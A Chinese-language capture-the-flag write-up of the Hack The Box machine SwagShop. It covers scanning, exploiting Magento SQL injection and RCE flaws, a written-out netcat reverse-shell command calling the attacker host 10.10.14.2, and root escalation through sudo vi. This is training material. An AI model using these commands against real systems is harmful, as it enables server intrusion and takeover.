0x00.前言

0x01.信息收集

nmap -p- -min-rate 1000 10.10.10.140

nmap -sV -sC 10.10.10.140

端口只开放了22,80。

image-20220521173831872
image-20220521173843656

修改本地/etc/hosts,添加一条记录,将域名swagshop.htb解析到目标IP10.10.10.140。

0x02.CMS历史漏洞拿shell

Web页面使用的CMS是Magento,可以使用Magescan

php magescan.phar scan:all http://swagshop.htb
image-20220521174643990

可以得到版本信息,这个版本有两个历史漏洞,一个注入漏洞可以修改后台账户密码,一个远程代码执行RCE可以得到反弹shell。

Msf也可以找到,

image-20220521175636350

注入漏洞拿后台账户密码

要利用的话其中的参数需要稍作修改,第一个注入漏洞的利用脚本中,将target参数修改,如下:

image-20220521175856111

再将username和password修改,也可以不做改动,两字段对应的是后台账户密码,如下:

image-20220521180007772

修改好执行就可以了,如下:

image-20220521180406988

RCE远程代码执行拿反弹shell

第二个RCE的利用脚本需要用到mechanize这个库,可以用pip下载,如果本地存在多个Python版本,记得用target参数指定路径,例如:

sudo pip install --target=/usr/lib/python2.7/dist-packages mechanize
pip show numpy    //查看库的默认安装路径和pip版本信息
image-20220518091059740

安装好mechanize后,需要对脚本做修改,提供其运行所需的参数,一是提供账户密码,也就是上一个注入脚本中的,

image-20220521181435156

二是将安装时间修改,在以下路径可以查看,

http://swagshop.htb/app/etc/local.xml
image-20220521181330313

修改好后再执行,

python2 37811.py http://10.10.10.140/index.php/admin "id"

出错了,如下:

image-20220521181912079

去网上搜了下,原因如下(原回答地址):

image-20220521182507148

总之,将以下两行注释就好,如下:

image-20220521182555838

再执行,会碰到一个新问题,如下:

image-20220521182737770

将下面这行注释取消,将burp打开,查看脚本发送的数据包逐个排查:

image-20220521182957283

第一个响应数据包返回了一个Cookie,

image-20220521112610540

但在随后的下一个请求数据包中,明显可以看到没有附带这个cookie,似乎 mechanize 没有正确处理 cookie。

image-20220521112637991

mechanize 没有正确处理 cookie,似乎是因为登录成功后请求从IP 302重定向到了域名,mechanize注意到不是同一个domain(域名),所以没有发送Cookie,所以如果一开始给其传递的参数是域名,那自始至终都是一个域名,就不会出现这种问题了。

所以,使用如下命令反弹shell,

python2 37811.py http://swagshop.htb/index.php/admin "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f"
image-20220521113506826

反弹shell也用了些时间,试了几个反弹shell的命令不起作用,官方给的Writeup也不起作用。

0x03.SUDO提权

提权很简单,

image-20220521171241837

允许以root权限执行vi,只需执行如下:

sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!/bin/sh'
image-20220521172214563

就可以拿到root了,对于这一类用二进制程序提权的方式,国外有一个开源项目名为GTFOBins,诸如vi,vim,zip,tar等一些常见的二进制程序都有对应的利用方式。

0x04.总结

参考文章:

https://0xdf.gitlab.io/2019/09/28/htb-swagshop.html

https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/

image-20220521173534446